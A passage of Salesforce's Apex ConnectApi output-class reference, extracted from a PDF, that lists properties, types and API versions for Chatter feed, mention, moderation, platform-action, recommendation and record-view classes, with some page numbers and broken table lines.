A paginated list of ConnectApi.GroupRecord objects.
1719

Version
previous String Chatter REST API URL identifying the previous page, or null 33.0
PageUrl if there isn’t a previous page.
records List<ConnectApi. List of records on the current page. 33.0

GroupRecord>
totalRecord Integer Total number of records associated with the group. 33.0
Count
ConnectApi.HashtagSegment Class

tag String Text of the topic without the hash symbol (#) 28.0
topicUrl String Chatter REST API Topics resource that searches for the topic: 28.0
/services/data/v41.0/chatter
/topics?exactMatch=true&q=topic
url String Chatter REST API Feed Items resource URL that searches for the topic 28.0
in all feed items in an organization:
/services/data/v41.0/chatter/feed-items?q=topic
ConnectApi.Icon Class

Version
height Integer The height of the icon in pixels. 28.0
width Integer The width of the icon in pixels. 28.0
1720

Version
url String The URL of the icon. This URL is available to unauthenticated users. This 28.0
URL does not expire.
SEE ALSO:
ConnectApi.CanvasCapability Class
ConnectApi.EnhancedLinkCapability
ConnectApi.SocialPostCapability
An inline image in the feed body.

altText String Alt text for the inline image. 35.0
contentSize Integer Size of the file in bytes. 35.0
fileExtension String Extension of the file, such as gif. 37.0
imageDetails ConnectApi. Details for the image, or null if the file isn’t an 41.0
ContentImage image.
FileDetails
thumbnails ConnectApi.File Information about the available thumbnails for the 35.0
PreviewCollection image.
url String URL to the latest version of the inline image. 35.0
ConnectApi.InteractionsCapability
If a feed element has this capability, it has information about user interactions.

count Long The number of individual views, likes, and comments 37.0
on a feed post.
SEE ALSO:
ConnectApi.RelatedQuestion
1721
ConnectApi.Invitation
An invitation.

email String Email address of the user. 39.0
status ConnectApi. Specifies the status of an invitation to join a group. 39.0

GroupViral Values are:
InvitationsStatus • ActedUponUser—The user was added to
the group. An email was sent asking the user to
visit the group.
• Invited—An email was sent asking the user
to sign up for the org.
• MaxedOutUsers—The group has the
maximum allowed members.
• MultipleError—The user wasn’t invited
due to multiple errors.
• NoActionNeededUser—The user is already
a member of the group.
• NotVisibleToExternalInviter—The
user is not accessible to the user sending the
invitation.
• Unhandled—The user couldn’t be added to
the group for an unknown reason.
userId String ID of the user. 39.0
SEE ALSO:
ConnectApi.Invitations
ConnectApi.Invitations
A collection of invitations.

invitations List<ConnectApi. Collection of invitations. 39.0
Invitation>
ConnectApi.KnowledgeArticleVersion
A knowledge article version.

articleType String Type of the knowledge article. 36.0
1722

id String ID of the knowledge article version. 36.0
knowledgeArticleId String ID of the corresponding knowledge article. 36.0
lastPublishedDate Datetime Last published date of the knowledge article. 36.0
summary String Summary of the knowledge article contents. 36.0
title String Title of the knowledge article. 36.0
urlName String URL name of the knowledge article. 36.0
SEE ALSO:
ConnectApi.KnowledgeArticleVersionCollection
ConnectApi.KnowledgeArticleVersionCollection
A collection of knowledge article versions.

items List<ConnectApi. A collection of knowledge article versions. 36.0
KnowledgeArticle
Version>
ConnectApi.LabeledRecordField Class
Subclass of ConnectApi.AbstractRecordField Class
Superclass of:
• ConnectApi.CompoundRecordField Class
• ConnectApi.CurrencyRecordField Class
• ConnectApi.DateRecordField Class
• ConnectApi.PercentRecordField Class
• ConnectApi.PicklistRecordField Class
• ConnectApi.RecordField Class
• ConnectApi.ReferenceRecordField Class
• ConnectApi.ReferenceWithDateRecordField Class
A record field containing a label and a text value.

label String A localized string describing the record field. 29.0
1723

text String The text value of the record field. All record fields have a text value. 29.0
To ensure that all clients can consume new content, inspect the
record field’s type property. If it isn’t recognized, render the text
value as the default case.
ConnectApi.LightningExtensionInformation
Lightning extension information.
Subclass of ConnectApi.AbstractExtensionInformation.

compositionComponent String Component to use in compose state. 40.0
headerTextLabel String Label for the extension’s header. 40.0
hoverTextLabel String Label for hovering over the extension. 40.0
renderComponent String Component to use in render or preview state. 40.0
SEE ALSO:
ConnectApi.ExtensionDefinition
ConnectApi.LinkAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.LinkCapability is used.

title String Title given to the link if available, otherwise, null 28.0–31.0
url String The link URL 28.0–31.0
ConnectApi.LinkCapability
If a feed element has this capability, it has a link.

url String Link URL. The URL can be to an external site. 32.0
1724

urlName String Description of the link. 32.0
SEE ALSO:
ConnectApi.LinkSegment Class

url String The link URL 28.0
ConnectApi.MaintenanceInfo
Information about the upcoming scheduled maintenance for the organization.

description String Description of the maintenance. 34.0
maintenanceTitle String Title of the maintenance. 34.0
maintenanceType ConnectApi. Specifies the type of maintenance. One of the 34.0

MaintenanceType following:
• Downtime—Downtime maintenance.
• GenerallyAvailable—Maintenance with
generally available mode.
• MaintenanceWithDowntime—Scheduled
maintenance with downtime.
• ReadOnly—Maintenance with read-only
mode.
message Datetime Effective time when users start seeing the 34.0
EffectiveTime maintenance message.
message Datetime Expiration time of the maintenance message. 34.0

ExpirationTime
scheduledEnd Datetime Scheduled end of downtime. null for 34.0

Downtime GenerallyAvailable and ReadOnly
maintenance types.
scheduledEnd Datetime Scheduled end of maintenance. null for 34.0

MaintenanceTime Downtime maintenance type.
1725

scheduledStart Datetime Scheduled start of downtime. null for 34.0
Downtime GenerallyAvailable and ReadOnly
maintenance types.
scheduledStart Datetime Scheduled start time of maintenance. null for 34.0

MaintenanceTime Downtime maintenance type.
SEE ALSO:
ConnectApi.ManagedTopic Class
Represents a managed topic in a community.

children List<ConnectApi. Children managed topics of the managed topic; 35.0
ManagedTopic> null if the depth request parameter isn’t
specified or is 1.
id String ID of managed topic. 32.0
managedTopicType ConnectApi.Managed Type of managed topic. 32.0

TopicType • Featured—Topics that are featured, for
example, on the community home page, but
don’t provide overall navigation.
• Navigational—Topics that display in a
navigational menu in the community.
parent ConnectApi. Parent managed topic of the managed topic. 35.0

Reference Class
topic ConnectApi.Topic Information about the topic. 32.0
url String Chatter REST API URL to the managed topic. 32.0
SEE ALSO:
ConnectApi.ManagedTopicCollection Class
ConnectApi.ManagedTopicCollection Class
A collection of managed topics.

1726

managedTopics List<ConnectApi. List of managed topics. 32.0
ManagedTopic>
ConnectApi.MarkupBeginSegment
The beginning of rich text markup.

htmlTag String The HTML tag for this markup. 35.0
markupType ConnectApi. Specifies the type of rich text markup. 35.0

• Strikethrough—Strikethrough tag.
• UnorderedList—Unordered list tag.
ConnectApi.MarkupEndSegment
The end of rich text markup.

htmlTag String The HTML tag for this markup. 35.0
markupType ConnectApi. Specifies the type of rich text markup. 35.0

1727
ConnectApi.MediaReference
A media reference.

mediaUrl String URL to stream or download the media. 41.0
thumbnailUrl String URL of the media’s thumbnail, if one exists. 41.0
SEE ALSO:
ConnectApi.MediaReferenceCapability
ConnectApi.MediaReferenceCapability
If a feed element has this capability, it has one or more media references.

media List<ConnectApi. Collection of media references. 41.0
MediaReference>
ConnectApi.MentionCompletion Class
Information about a record that could be used to @mention a user or group.

additionalLabel String An additional label (if one exists) for the record represented by this 29.0
completion, for example, “(Customer)” or “(Acme Corporation)”.
description String A description of the record represented by this completion. 29.0
name String The name of the record represented by this completion. The name 29.0
is localized, if possible.
outOfOffice ConnectApi. If the record represented by this completion is a user, an additional 40.0
OutOfOffice out-of-office message, if one exists, for the user.
photoUrl String A URL to the photo or icon of the record represented by this 29.0
completion.
recordId String The ID of the record represented by this completion. 29.0
1728

userType ConnectApi. If the record represented by this completion is a user, this value is 30.0
UserType the user type associated with that user; otherwise the value is null.
Enum One of these values:
• ChatterGuest—User is an external user in a private group.
• ChatterOnly—User is a Chatter Free customer.
• Guest—User is unauthenticated.
• Internal—User is a standard organization member.
• Portal—User is an external user in a customer portal, partner
portal, or community.
• System—User is Chatter Expert or a system user.
• Undefined—User is a user type that is a custom object.
SEE ALSO:
ConnectApi.MentionCompletionPage Class
ConnectApi.MentionCompletionPage Class
A paginated list of Mention Completion response bodies.

Version
mentionCompletions List<ConnectApi. A list of mention completion proposals. Use these proposals 29.0
MentionCompletion> to build a feed post body.
returned.
1729

Version
accessible Boolean Specifies whether the mentioned user or group can see 28.0
the post in which they are mentioned (true) or not
(false).
name String Name of the mentioned user or group 28.0
record ConnectApi. Information about the mentioned user or group 29.0

ActorWithId
user ConnectApi.User Information about the mentioned user 28.0 only

Summary In versions before
Important: In versions 29.0 and later, use the
record property. 29.0, if the mention
is not a user, the
mention is in a
ConnectApi.TextSegment
object.
ConnectApi.MentionValidation Class
Information about whether a proposed mention is valid for the context user.

recordId String The ID of the mentioned record. 29.0
validationStatus ConnectApi. Specifies the type of validation error for a proposed 29.0
MentionValidation mention, if any.
Status Enum • Disallowed—The proposed mention is invalid
and is rejected because the context user is trying
to mention something that is not allowed. For
example, a user who is not a member of a private
group is trying to mention the private group.
• Inaccessible—The proposed mention is
allowed but the user or record being mentioned
isn’t notified because they don't have access to
the parent record being discussed.
• Ok—There is no validation error for this proposed
mention.
SEE ALSO:
ConnectApi.MentionValidations Class
ConnectApi.MentionValidations Class
Information about whether a set of mentions is valid for the context user.
1730

hasErrors Boolean Indicates whether at least one of the proposed 29.0
mentions has an error (true), or not (false). For
example, context users can’t mention private groups
they don’t belong to. If such a group is included in
the list of mention validations, hasErrors is
true and the group has a validationStatus
of Disallowed in its mention validation.
mentionValidations List<ConnectApi. A list of mention validation information in the same 29.0

MentionValidation> order as the provided record IDs.
ConnectApi.MessageBody Class
Subclass of ConnectApi.AbstractMessageBody Class
SEE ALSO:
ConnectApi.MessageSegment Class
Superclass of:
• ConnectApi.ComplexSegment Class
• ConnectApi.EntityLinkSegment Class
• ConnectApi.FieldChangeSegment Class
• ConnectApi.FieldChangeNameSegment Class
• ConnectApi.FieldChangeValueSegment Class
• ConnectApi.HashtagSegment Class
• ConnectApi.InlineImageSegment
• ConnectApi.LinkSegment Class
• ConnectApi.MarkupBeginSegment
• ConnectApi.MarkupEndSegment
• ConnectApi.MentionSegment Class
• ConnectApi.MoreChangesSegment Class
• ConnectApi.ResourceLinkSegment Class
• ConnectApi.TextSegment Class
1731
subclasses.

text String Text-only rendition of this segment. If a client encounters an 28.0
unknown message segment type, it can render this value.
type ConnectApi. The message segment type. One of these values: 28.0
MessageSegment • EntityLink
Type Enum
• FieldChange
• FieldChangeName
• FieldChangeValue
• Hashtag
• InlineImage
• Link
• MarkupBegin
• MarkupEnd
• Mention
• MoreChanges
• ResourceLink
• Text
SEE ALSO:
ConnectApi.AbstractMessageBody Class
ConnectApi.ModerationCapability Class
If a feed element has this capability, users in a community can flag it for moderation.

moderationFlags ConnectApi. The moderation flags for this feed element. 31.0
ModerationFlags Community moderators can view and take action on
flagged items.
SEE ALSO:
1732
ConnectApi.ModerationFlagItemDetail
Flag details on a feed item, comment, or file.

createdBy String ID of the user who flagged the item. 40.0
createdDate Datetime Date when the item was flagged. 40.0
id String ID of the moderation flag. 40.0
moderationType ConnectApi. Specifies the type of moderation flag. Values are: 40.0
CommunityFlagType • FlagAsInappropriate—Flag for
inappropriate content.
note String Note from user who flagged the item. 40.0
visibility ConnectApi. Specifies the visibility behavior of a flag for various 40.0
CommunityFlag user types. Values are:
Visibility • ModeratorsOnly—The flag is visible only
to users with moderation permissions on the
flagged element or item.
• SelfAndModerators—The flag is visible
to the creator of the flag and to users with
moderation permissions on the flagged element
or item.
SEE ALSO:
ConnectApi.ModerationFlagsCollection
ConnectApi.ModerationFlags
Information about the moderation flags on a feed item, comment, or file.

flagCount Integer Number of moderation flags on this feed item, comment, or file. If 29.0
the context user is not a community moderator, the property is
null.
flagCount Map<ConnectApi. Number of moderation flags categorized by reason. Values for 40.0
ByReason CommunityFlag ConnectApi.CommunityFlagReasonType are:
ReasonType, • FlaggedByRule—Moderation rule flagged the item.
Integer>
• FlaggedBySystem—Einstein flagged the item.
• FlaggedByUserAsInappropriate—User flagged the
item as inappropriate.
• FlaggedByUserAsSpam—User flagged the item as spam.
1733

flaggedByMe Boolean true if the context user flagged the feed item, comment, or file 29.0
for moderation; false otherwise.
flags ConnectApi. Collection of flags. 40.0

ModerationFlags
Collection
SEE ALSO:
ConnectApi.ModerationCapability Class
ConnectApi.ModerationFlagsCollection
A collection of flags on a feed item, comment, or file.

flags List<ConnectApi. List of flag details. 40.0

ModerationFlag
ItemDetail>
doesn’t exist, a
returned.
pageSize Integer Number of items per page. 40.0
SEE ALSO:
ConnectApi.ModerationFlags
ConnectApi.MoreChangesSegment Class
In feed items with a large number of tracked changes, the message is formatted as: “changed A, B, and made X more changes.” The
MoreChangesSegment contains the “X more changes.”
1734

moreChanges List<ConnectApi. Complete list of tracked changes. 29.0
FieldChange
Segment>
moreChangesCount Integer Number of additional changes 28.0
ConnectApi.Motif Class
The motif properties contain URLs for small, medium, and large icons that indicate the Salesforce record type. Common record types
are files, users, and groups, but all record types have a set of motif icons. Custom object records use their tab style icon. All icons are
available to unauthenticated users so that, for example, you can display the motif icons in an email. The motif can also contain the record
type’s base color.
Note: The motif images are icons, not user uploaded images or photos. For example, every user has the same set of motif icons.
Custom object records use their tab style icon, for example, the following custom object uses the “boat” tab style:
"motif": {
"color: "8C004C",
"largeIconUrl": "/img/icon/custom51_100/boat64.png",
"mediumIconUrl": "/img/icon/custom51_100/boat32.png",
"smallIconUrl": "/img/icon/custom51_100/boat16.png",
"svgIconUrl": null
},
Users use the following icons:

"motif": {
"color: "1797C0",
"largeIconUrl": "/img/icon/profile64.png",
"mediumIconUrl": "/img/icon/profile32.png",
"smallIconUrl": "/img/icon/profile16.png",
"svgIconUrl": null
},
Groups use the following icons:

"motif": {
"color: "1797C0",
"largeIconUrl": "/img/icon/groups64.png",
"mediumIconUrl": "/img/icon/groups32.png",
"smallIconUrl": "/img/icon/groups16.png",
"svgIconUrl": null
},
Files use the following icons:

"motif": {
"color: "1797C0",
"largeIconUrl": "/img/content/content64.png",
"mediumIconUrl": "/img/content/content32.png",
"smallIconUrl": "/img/icon/files16.png",
1735
"svgIconUrl": null
},
Note: To view the icons in the previous examples, preface the URL with https://instance_name. For example,
https://instance_name/img/icon/profile64.png.

Version
color String A hex value representing the base color of the record type, or null. 29.0
largeIconUrl String A large icon indicating the record type. 28.0
mediumIconUrl String A medium icon indicating the record type. 28.0
smallIconUrl String A small icon indicating the record type. 28.0
svgIconUrl String An icon in SVG format indicating the record type, or null if the icon 34.0
doesn’t exist.
ConnectApi.MuteCapability
If a feed element has this capability, users can mute it. Muted feed elements are visible in the muted feed, and invisible in all other feeds
that respect mute.

isMutedByMe Boolean Indicates whether the context user muted the feed 35.0
element.
SEE ALSO:
ConnectApi.NewUserAudienceCriteria
The criteria for the new members type of recommendation audience.
Subclass of ConnectApi.AudienceCriteria.

maxDaysInCommunity Double The maximum number of days since a user became 36.0
a community member.
ConnectApi.NonEntityRecommendation Class
Represents a recommendation for a non-Salesforce entity, such as an application.
Subclass of ConnectApi.AbstractRecommendation Class.
1736
ConnectApi.NonEntityRecommendation Class isn’t used in version 34.0 and later. In version 34.0 and later,
ConnectApi.EntityRecommendation Class is used for all recommendations.

displayLabel String Localized label of the non-entity object. 32.0
motif ConnectApi.Motif Motif for the non-entity object. 32.0
ConnectApi.OauthProviderInfo

authorizationUrl String The URL used for authorization. 37.0
name String The name of the OAuth service provider. 37.0
SEE ALSO:
ConnectApi.UserOauthInfo

Version
accessTimeout Integer Amount of time after which the system prompts users 28.0
who have been inactive to log out or continue working
features ConnectApi.Features Information about features available in the organization 28.0
maintenanceInfo List<ConnectApi. Information about a list of upcoming scheduled 34.0

MaintenanceInfo> maintenances for the organization.
name String Organization name 28.0
orgId String 18-character ID for the organization 28.0
userSettings ConnectApi.UserSettings Information about the organization permissions for the 28.0
user
ConnectApi.OriginCapability
If a feed element has this capability, it was created by a feed action.

actor ConnectApi.User The user who executed the feed action. 33.0
Summary Class
1737

originRecord ConnectApi.Reference A reference to the feed element containing the feed 33.0
Class action.
SEE ALSO:
ConnectApi.OutOfOffice
User's out-of-office message.

message String Out-of-office message for the user. 40.0
SEE ALSO:
ConnectApi.User Class
ConnectApi.MentionCompletion Class
ConnectApi.PercentRecordField Class
A record field containing a percentage value.

value Double The value of the percentage. 29.0
ConnectApi.PhoneNumber Class
A phone number.

label String A localized string indicating the phone type 30.0
phoneNumber String Phone number 28.0
phoneType String Phone type. Values are: 30.0

• Fax
• Mobile
• Work
These values are not localized.
1738

type String 28.0–29.0
Note: This property is not available after version 29.0. Use
the phoneType property instead.
Values are:
• Fax
• Mobile
• Work
These values are not localized.
SEE ALSO:
ConnectApi.Photo Class

fullEmailPhotoUrl String A temporary URL to the large profile picture. The URL expires after 28.0
30 days and is available to unauthenticated users.
largePhotoUrl String URL to the large profile picture. The default width is 200 pixels, and 28.0
the height is scaled so the original image proportions are
maintained.
mediumPhotoUrl String URL to the medium profile picture. The default width is 160 pixels, 37.0
and the height is scaled so the original image proportions are
maintained.
photoVersionId String 18–character ID to that version of the photo 28.0
smallPhotoUrl String URL to the small profile picture. The default size is 64x64 pixels. 28.0
standardEmail String A temporary URL to the small profile. The URL expires after 30 days 28.0
PhotoUrl and is available to unauthenticated users.
url String A resource that returns a Photo object: for example, 28.0
/services/data/v41.0/chatter/users/005D0000001LL8OIAW/photo.
SEE ALSO:
ConnectApi.RecommendationDefinition
1739
ConnectApi.PicklistRecordField Class
A record field containing an enumerated value.
ConnectApi.PinCapability (Beta)
If a feed element has this capability, users who have permission can pin it to a feed.

isPinnableByMe Boolean Specifies whether the context user can pin or unpin 41.0
the entity to the feed (true) or not (false).
isPinned Boolean Specifies whether the entity is pinned (true) or not 41.0
pinned (false) to the feed.
SEE ALSO:
ConnectApi.PinnedFeedElements (Beta)
List of pinned feed elements for a feed.

elements List<ConnectApi. List of pinned feed elements. 41.0
FeedElement>
ConnectApi.PlatformAction Class
A platform action instance with state information for the context user.

actionUrl String For action links of subtype Ui or Download, 33.0
direct the user to download or visit the UI from this
1740

link. Salesforce issues a Javascript redirect for the link
in this format:
/action-link-redirect/communityId
/actionLinkId?_bearer=bearerToken.
For Api action links and for all platform actions, this
value is null and Salesforce handles the call.
apiName String The API name. The value may be null. 33.0
confirmation String If this action requires a confirmation and has a status 33.0
Message of NewStatus, this is a default localized message
that should be shown to an end user prior to invoking
the action. Otherwise, this is null.
executingUser ConnectApi.User The user who initiated execution of this platform 33.0
Summary Class action.
groupDefault Boolean true if this platform action is the default or primary 33.0
platform action in the platform action group; false
otherwise. There can be only one default platform
action per platform action group.
iconUrl String The URL of the icon for the platform action. This value 33.0
may be null.
id String The ID for the platform action. 33.0

If the type is QuickAction and the subtype
is Create, this value is null.
label String The localized label for this platform action. 33.0
2011-02-25T18:24:31.000Z.
platformAction ConnectApi. A reference to the platform action group containing 33.0

Group Reference Class this platform action.
status ConnectApi. The execution status of the platform action. Values 33.0
PlatformAction are:
Status • FailedStatus—The action link execution
failed.
• NewStatus—The action link is ready to be
executed. Available for Download and Ui
action links only.
• PendingStatus—The action link is
executing. Choosing this value triggers the API
call for Api and ApiAsync action links.
• SuccessfulStatus—The action link
executed successfully.
1741

subtype String The subtype of a platform action or null. 33.0
If the type property is ActionLink, possible
values are:
• Api—The action link calls a synchronous API at
the action URL. Salesforce sets the status to
SuccessfulStatus or FailedStatus
based on the HTTP status code returned by your
server.
asynchronous API at the action URL. The action
remains in a PendingStatus state until a
third party makes a request to
to set the status to SuccessfulStatus or
FailedStatus when the asynchronous
operation is complete.
• Download—The action link downloads a file
from the action URL.
• Ui—The action link takes the user to a web page
at the action URL.
Note: Invoking ApiAsync action links from

an app requires a call to set the status.
However, there isn’t currently a way to set the
status of an action link using Apex. To set the
status, use Chatter REST API. See the Action
Link resource in the Chatter REST API Developer
Guide for more information.
type ConnectApi. The type of platform action. Values are: 33.0

PlatformActionType • ActionLink—An indicator on a feed element
that targets an API, a web page, or a file,
represented by a button in the Salesforce Chatter
feed UI.
• CustomButton—When clicked, opens a URL
or a Visualforce page in a window or executes
JavaScript.
• InvocableAction
• ProductivityAction—Productivity
actions are predefined by Salesforce and are
attached to a limited set of objects. You can’t edit
or delete productivity actions.
• QuickAction—A global or object-specific
action.
1742

• StandardButton—A predefined Salesforce
button such as New, Edit, and Delete.
url String The URL for this platform action. 33.0

If the type is QuickAction and the subtype
is Create, this value is null.
SEE ALSO:
ConnectApi.PlatformActionGroup Class
ConnectApi.PlatformActionGroup Class
A platform action group instance with state appropriate for the context user.
Action link groups are one type of platform action group and are therefore represented as ConnectApi.PlatformActionGroup
output classes.

category ConnectApi. Indicates the priority and relative locations of platform 33.0
PlatformAction actions. Values are:
GroupCategory • Primary—The action link group is displayed
in the body of the feed element.
• Overflow—The action link group is displayed
in the overflow menu of the feed element.
id String The 18-character ID or an opaque string ID of the 33.0

platform action group.
If the ConnectApi.PlatformAction type
is QuickAction and the subtype is Create,
this value is null.
modifiedDate Datetime ISO 8601 date string, for example, 33.0

2014-02-25T18:24:31.000Z.
platformActions List<ConnectApi. The platform action instances for this group. 33.0
PlatformAction> Within an action link group, action links are displayed
in the order listed in the actionLinks property
of the ConnectApi.ActionLinkGroup
DefinitionInput class. Within a feed item,
action link groups are displayed in the order specified
in the actionLinkGroupIds property of the
1743

url String The URL for this platform action group. 33.0
If the ConnectApi.PlatformAction type
is QuickAction and the subtype is Create,
this value is null.
SEE ALSO:
ConnectApi.AssociatedActionsCapability Class
ConnectApi.PollCapability Class
If a feed element has this capability, it includes a poll.

choices List<ConnectApi. Collection of poll choices that make up the poll. 32.0
FeedPollChoice>
myChoiceId String 18-character ID of the poll choice that the context 32.0
user has voted for in this poll. Returns null if the
context user has not voted.
totalVoteCount Integer Total number of votes cast on the feed poll element. 32.0
SEE ALSO:
If a feed element has this capability, it has a question and comments on the feed element are answers to the question.

bestAnswer ConnectApi. Comment selected as the best answer for the 32.0
Comment question.
bestAnswer ConnectApi. User who selected the best answer for the question. 32.0
SelectedBy UserSummary
canCurrentUser Boolean Indicates whether the context user can select or 32.0
SelectOrRemove remove a best answer (true) or not (false).
BestAnswer
1744

candidateAnswers ConnectApi. Status of candidate answers for the question. 41.0
CandidateAnswers
Status
escalatedCase ConnectApi. If a question post is escalated, this is the case to which 33.0
Reference it was escalated.
questionTitle String Title for the question. 32.0
SEE ALSO:
Question and answers suggestions.

articles List<ConnectApi. List of articles. 32.0
ArticleItem>
questions List<ConnectApi. List of questions. 32.0

FeedElement>
ConnectApi.ReadBy
Information about who read the feed element and when.

lastReadDateByUser Datetime When the user last read the feed element. 40.0
user ConnectApi. Information about the user who read the feed 40.0
UserSummary element.
SEE ALSO:
ConnectApi.ReadByPage
ConnectApi.ReadByCapability
If a feed element has this capability, the context user can mark it as read.

isReadByMe Boolean Specifies whether the feed element has been read 40.0
(true) or not (false) by the context user.
1745

lastReadDateByMe Datetime Last date when the feed element was marked read 40.0
for the context user. Otherwise, null.
page ConnectApi. First page of information about who read the feed 40.0
ReadByPage element and when.
SEE ALSO:
ConnectApi.ReadByPage
A collection of information about who read the feed element and when.

The default is 25 items per page.
items List<ConnectApi. Collection of read-by information, including users 40.0

ReadBy> and when they last read the feed element.
doesn’t exist, a
returned.
previousPageToken String Reserved for future use. 40.0
previousPageUrl String Reserved for future use. 40.0
total Integer Total number of users who read the feed element. 40.0
SEE ALSO:
ConnectApi.ReadByCapability
A recommendation audience.
1746

criteria ConnectApi. The criteria for the recommendation audience type. 36.0
AudienceCriteria
id String 18-character ID of the recommendation audience. 35.0
memberCount Integer 35.0 only

Important: This property is available only in
version 35.0. In version 36.0 and later, this
property is available in
ConnectApi.CustomListAudienceCriteria.
Number of members in the recommendation
audience.
members ConnectApi. 35.0 only

Important: This property is available only in
UserReferencePage
version 35.0. In version 36.0 and later, this
property is available in
ConnectApi.CustomListAudienceCriteria.
Members of the recommendation audience.
modifiedBy ConnectApi.User User who last modified the recommendation 36.0

audience.
2011-02-25T18:24:31.000Z.
name String Name of the recommendation audience. 35.0
url String URL for the recommendation audience. 35.0
SEE ALSO:
ConnectApi.RecommendationAudiencePage
ConnectApi.RecommendationAudiencePage
A list of recommendation audiences.

audienceCount Integer The total number of recommendation audiences. 35.0
currentPageUrl String URL to the current page. 35.0
nextPageUrl String URL to the next page. 35.0
previousPageUrl String URL to the previous page. 35.0
recommendation List<ConnectApi. A list of recommendation audiences. 35.0

Audiences Recommendation
Audience>
1747
ConnectApi.RecommendationsCapability
If a feed element has this capability, it has a recommendation.

items List<ConnectApi. A list of recommendations. 32.0
Abstract
Recommendation>
SEE ALSO:
ConnectApi.RecommendationCollection Class
A list of recommendations.

recommendations List<ConnectApi. Collection of recommendations. 33.0
Abstract
Recommendation>
ConnectApi.RecommendationDefinition
Represents a custom recommendation definition.

actionUrl String The URL for acting on this recommendation. 35.0
actionUrlName String The text label for the action URL in the user interface. 35.0
explanation String Explanation of the recommendation definition. 35.0
id String 18-character ID of the recommendation definition. 35.0
name String Name of the recommendation definition. The name 35.0

is displayed in Setup.
photo ConnectApi.Photo Photo of the recommendation definition. 35.0
title String Title of the recommendation definition. 35.0
1748

url String URL to the Chatter REST API resource for the 35.0
recommendation definition.
SEE ALSO:
ConnectApi.RecommendationDefinitionPage
ConnectApi.ScheduledRecommendation
ConnectApi.RecommendationDefinitionPage
Represents a list of recommendation definitions.

recommendation List<ConnectApi. A list of recommendation definitions. 35.0
Definitions Recommendation
Definition>
recommendation definition collection.
ConnectApi.RecommendationExplanation Class
Explanation for a recommendation.
Subclass of ConnectApi.AbstractRecommendationExplanation Class.

detailsUrl String URL to explanation details or null if the 32.0
recommendation doesn’t have a detailed explanation.
SEE ALSO:
ConnectApi.RecommendedObject
A recommended object, such as a custom or static recommendation.
Subclass of ConnectApi.Actor Class

idOrEnum String ID of a recommendation definition for a custom 34.0
recommendation or the enum value Today for
static recommendations that don’t have an ID
1749

motif ConnectApi.Motif Motif of the recommended object. 34.0
ConnectApi.RecordField Class
A generic record field containing a label and text value.
SEE ALSO:
ConnectApi.CompoundRecordField Class
ConnectApi.RecordSnapshotAttachment Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.RecordSnapshotCapability is
used.
The fields of a record at the point in time when the record was created.

Version
recordView ConnectApi. The representation of the record. 29.0–31.0
RecordView
ConnectApi.RecordSnapshotCapability
If a feed element has this capability, it contains all the snapshotted fields of a record for a single create record event.

recordView ConnectApi. A record representation that includes metadata and 32.0
RecordView data so you can display the record easily.
SEE ALSO:
ConnectApi.RecordSummary Class
Subclass of ConnectApi.AbstractRecordView Class
1750

entityLabel ConnectApi. Label of the record’s entity. 40.0
EntityLabel
SEE ALSO:
ConnectApi.EmailAddress
ConnectApi.EmailAttachment
ConnectApi.ReferenceRecordField Class
ConnectApi.ReferenceWithDateRecordField Class
ConnectApi.RecordSummaryList Class
Summary information about a list of records in the organization including custom objects.

Version
records List<ConnectApi.ActorWithId> A list of records. 30.0
url String The URL to this list of records. 30.0
ConnectApi.RecordView Class
Subclass of ConnectApi.AbstractRecordView Class
A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or
ChatterGroup, is not available for the record type. Contains data and metadata so you can render a record with one response.

Version
sections List<ConnectApi. A list of record view sections. 29.0
RecordViewSection>
SEE ALSO:
ConnectApi.RecordSnapshotCapability
ConnectApi.RecordViewSection Class
A section of record fields and values on a record detail.

Version
columnCount Integer The number of columns to use to lay out the fields in a record 29.0
section.
1751

Version
columnOrder ConnectApi. The order of the fields to use in the fields property to lay 29.0
RecordColumnOrder out the fields in a record section.
Enum • LeftRight—Fields are rendered from left to right.
• TopDown—Fields are rendered from the top down.
fields ConnectApi. The fields and values for the record contained in this section. 29.0
Abstract
RecordField
heading String A localized label to display when rendering this section of 29.0
fields.
isCollapsible Boolean Indicates whether the section can be collapsed to hide all the 29.0
fields (true) or not (false).
SEE ALSO:
ConnectApi.RecordView Class
ConnectApi.Reference Class

id String The ID of the record being referenced, which could be an 18-character 28.0
ID or some other string identifier.
url String The URL to the resource endpoint. 28.0
ConnectApi.ReferenceRecordField Class
A record field with a label and text value.

reference ConnectApi. The object referenced by the record field. 29.0
RecordSummary
ConnectApi.ReferenceWithDateRecordField Class
A record field containing a referenced object that acted at a specific time, for example, “Created By...”.

dateValue Datetime A time at which the referenced object acted. 29.0
1752

reference ConnectApi. The object referenced by the record field. 29.0
RecordSummary
ConnectApi.RelatedFeedPost
Subclass of: ConnectApi.ActorWithId Class
Superclass of: ConnectApi.RelatedQuestion

score Double Score of the related feed post that indicates how 37.0
closely related it is to the context feed post.
title String Title of the related feed post. 37.0
SEE ALSO:
ConnectApi.RelatedFeedPosts
ConnectApi.RelatedFeedPosts
A collection of related feed posts.

relatedFeedPosts List<ConnectApi. Collection of related feed posts. 37.0
RelatedFeedPost>
ConnectApi.RelatedQuestion
A related question.
Subclass of: ConnectApi.RelatedFeedPost

hasBestAnswer Boolean Indicates whether the question has a best answer. 37.0
interactions ConnectApi. The number of individual views, likes, and comments 38.0
Interactions on a question.
Capability
ConnectApi.RepositoryFileDetail
A detailed description of a repository file.
Subclass of ConnectApi.AbstractRepositoryFile
1753
ConnectApi.RepositoryFileSummary
A summary of a repository file.
Subclass of ConnectApi.AbstractRepositoryFile
SEE ALSO:
ConnectApi.RepositoryFolderItem
ConnectApi.RepositoryFolderDetail
A detailed description of a repository folder.
Subclass of ConnectApi.AbstractRepositoryFolder
A folder item.

file ConnectApi. If the folder item is a file, the file summary. If the folder 39.0
Repository item is a folder, null.
FileSummary
folder ConnectApi. If the folder item is a folder, the folder summary. If 39.0
Repository the folder item is a file, null.
FolderSummary
type ConnectApi. Specifies the type of item in a folder. Values are: 39.0
FolderItemType • file
• folder
SEE ALSO:
ConnectApi.RepositoryFolderItemsCollection
ConnectApi.RepositoryFolderItemsCollection
A collection of repository folder items.

1754

items List<ConnectApi. Collection of items in a repository folder. 39.0
Repository
FolderItem>
ConnectApi.RepositoryFolderSummary
A summary of a repository folder.
Subclass of ConnectApi.AbstractRepositoryFolder
SEE ALSO:
ConnectApi.RepositoryGroupSummary
A group summary.
Subclass of ConnectApi.AbstractDirectoryEntrySummary

groupType ConnectApi. Specifies the type of group. Values are: 39.0
